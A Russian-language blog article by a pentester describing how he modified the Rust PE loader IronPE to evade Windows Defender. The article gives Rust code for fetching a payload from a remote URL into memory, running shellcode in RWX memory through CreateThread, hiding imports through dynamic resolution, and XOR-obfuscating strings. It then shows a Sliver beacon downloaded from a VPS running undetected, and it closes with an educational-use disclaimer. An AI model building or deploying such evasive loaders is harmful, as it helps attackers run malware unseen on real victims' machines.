Введение

Всем привет! Меня зовут Степанов Даниил. Я работаю пентестером в одной из российских компаний по информационной безопасности. В свободное время исследую современные методы обхода защитных механизмов Windows. В этой статье хочу поделиться результатами одного из таких исследований.

В 2026 году Windows Defender перестал быть просто антивирусом. Это полноценный EDR с поведенческим анализом, облачными сигнатурами и защитой на уровне ядра. Однако статическая компонента - анализ файлов на диске - всё ещё остаётся одной из главных линий обороны. И именно здесь можно найти интересные бреши.

В этой статье я расскажу, как мы взяли открытый Rust PE-загрузчик IronPE, добавили в него возможность загружать полезную нагрузку по HTTP и выполнять её прямо в памяти, полностью обойдя статический детект Windows Defender. А также разберём, почему подобные техники работают и как их можно развивать.

Что такое IronPE и зачем он нужен

IronPE - это минималистичный ручной PE-загрузчик на Rust, разработанный ISSAC. Он умеет читать PE-файл (EXE или DLL) из памяти, загружать его вручную (manual mapping) и передавать управление на точку входа.

Оригинальный IronPE работает только с локальными файлами. Но его главная ценность — демонстрация того, как работает Windows-загрузчик, и возможность выполнить произвольный PE без вызова стандартных API типа CreateProcess или LoadLibrary.

Почему это интересно с точки зрения обхода защиты:

  • Нет записи на диск — нет файла для сканера.

  • Используются только легитимные WinAPI (VirtualAllocLoadLibraryGetProcAddress).

  • Код на Rust, что пока редко встречается в зловредных тулзах, поэтому меньше сигнатур.

  • Исходный код легко модифицируется.

Однако оригинальная версия всё равно требует, чтобы полезная нагрузка лежала на диске. Это оставляет артефакты и может быть обнаружено при статическом анализе самого загрузчика. Мы пошли дальше.

Наши модификации

1. HTTP-загрузка полезной нагрузки

Мы добавили в IronPE возможность получать PE-файл из сети по HTTP/HTTPS. Для этого использовали крейт reqwest с блокирующим клиентом.

rust

fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
    let client = reqwest::blocking::Client::builder()
        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
        .timeout(std::time::Duration::from_secs(120))
        .build()?;
    let response = client.get(url).send()?;
    let bytes = response.bytes()?.to_vec();
    Ok(bytes)
}

Теперь IronPE может запускаться с аргументом --x64 http://server/payload.exe и загружать полезную нагрузку напрямую в память без промежуточного файла.

2. Поддержка shellcode

Помимо полноценных PE-файлов, мы добавили режим --shellcode. В этом случае IronPE не разбирает PE-заголовки, а просто выделяет память с правами RWX и передаёт управление.

Это полезно для запуска легковесных стейджеров или сгенерированных Sliver shellcode.

rust

"--shellcode" => {
    let bytes = read_file_or_url(&args[2])?;
    let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
    let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
    WaitForSingleObject(thread?, INFINITE);
}

3. Динамическое разрешение импортов (обход IAT)

Оригинальный IronPE уже использовал динамическое разрешение для VirtualAllocLoadLibrary и GetProcAddress, потому что сам является ручным загрузчиком и ему нужно получить эти функции. Но в нашем модифицированном загрузчике мы сохранили этот подход и даже расширили его: все импорты, которые могут быть использованы в дальнейшем, также резолвятся динамически.

Что это даёт? В IAT загрузчика нет явных записей типа VirtualAllocEx или CreateRemoteThread. Это значительно снижает вероятность детекта статическими анализаторами.

4. Обфускация строк

Чтобы ещё больше усложнить статический анализ, мы добавили простейшую обфускацию строк: все имена функций и DLL хранятся в виде XOR-зашифрованных байтов и расшифровываются только во время выполнения.

rust

fn decrypt(s: &[u8], key: u8) -> String {
    s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);

Почему это обходит Windows Defender

1. Отсутствие файла на диске

Самый очевидный момент. Defender (как и любой другой антивирус) проверяет файлы при записи, чтении, открытии. Если полезная нагрузка никогда не попадает на диск, статическая сигнатура просто не срабатывает.

2. Легитимные WinAPI-вызовы

Все функции, которые использует IronPE, абсолютно легальны: VirtualAllocLoadLibraryGetProcAddressCreateThreadWaitForSingleObject. Они используются тысячами легитимных программ. Без поведенческого контекста Defender не может отличить загрузчик от, скажем, инсталлятора драйверов.

3. Отсутствие подозрительных импортов

Благодаря динамическому разрешению IAT IronPE пуст (или содержит только GetModuleHandle и GetProcAddress). Статический анализ не находит в нём функций, характерных для инжекции кода или доступа к LSASS.

4. Редкий язык реализации

Rust пока не так часто используется в малвари, как C++ или C#. Соответственно, меньше готовых сигнатур и YARA-правил. Это не панацея, но даёт дополнительный оверхед анализаторам.

5. Загрузка из сети

Когда загрузчик получает полезную нагрузку по HTTP, цепочка становится двухступенчатой. Даже если сам IronPE будет когда-то задетекчен, полезная нагрузка остаётся неизвестной.

Демонстрация работы

Условия тестирования

  • Операционная система: Windows 11 25H2

  • Защитное ПО: Windows Defender (все компоненты активны, включая защиту в реальном времени и облачную защиту)

  • Полезная нагрузка: сгенерированный Sliver beacon (EXE, ~30 МБ)

  • Загрузчик: модифицированный IronPE с поддержкой HTTP-загрузки

Поднимаем на нашем VPS питоновский серв на порту 8081, после чего с тестируемой винды берем файл

http запрос к файлу на VPS
http запрос к файлу на VPS
Запрос успешно пришел
Запрос успешно пришел
Получаем sliver beacon
Получаем sliver beacon
Демонстрация defender
Демонстрация defender

Как мы видим на скриншотах выше, Windows Defender не проявляет никакой реакции — ни всплывающих уведомлений, ни записей в журнале защиты. При этом в консоли Sliver успешно появляется новая сессия, что подтверждает факт выполнения полезной нагрузки.

Заключение

В результате проделанной работы нам удалось достичь поставленной цели: модифицированный IronPE успешно обходит статический анализ Windows Defender, загружая и выполняя полезную нагрузку напрямую в память без создания файлов на диске.

Ключевые факторы успеха:

  • Отсутствие файла полезной нагрузки на диске

  • Использование исключительно легитимных WinAPI-вызовов

  • Динамическое разрешение импортов (минимизация IAT)

  • Реализация на Rust, что снижает вероятность срабатывания сигнатур

Важное примечание: Данная статья подготовлена исключительно в образовательных целях. Полученные знания могут применяться только в рамках законных исследований безопасности, пентестов с письменного разрешения владельца системы, а также для повышения собственной квалификации в области информационной безопасности.

Прошу не судите строго — это моя первая статья, и я решил поделиться с сообществом тем, что показалось мне действительно полезным. Надеюсь, материал поможет лучше понять принципы работы современных защитных механизмов и способы их исследования.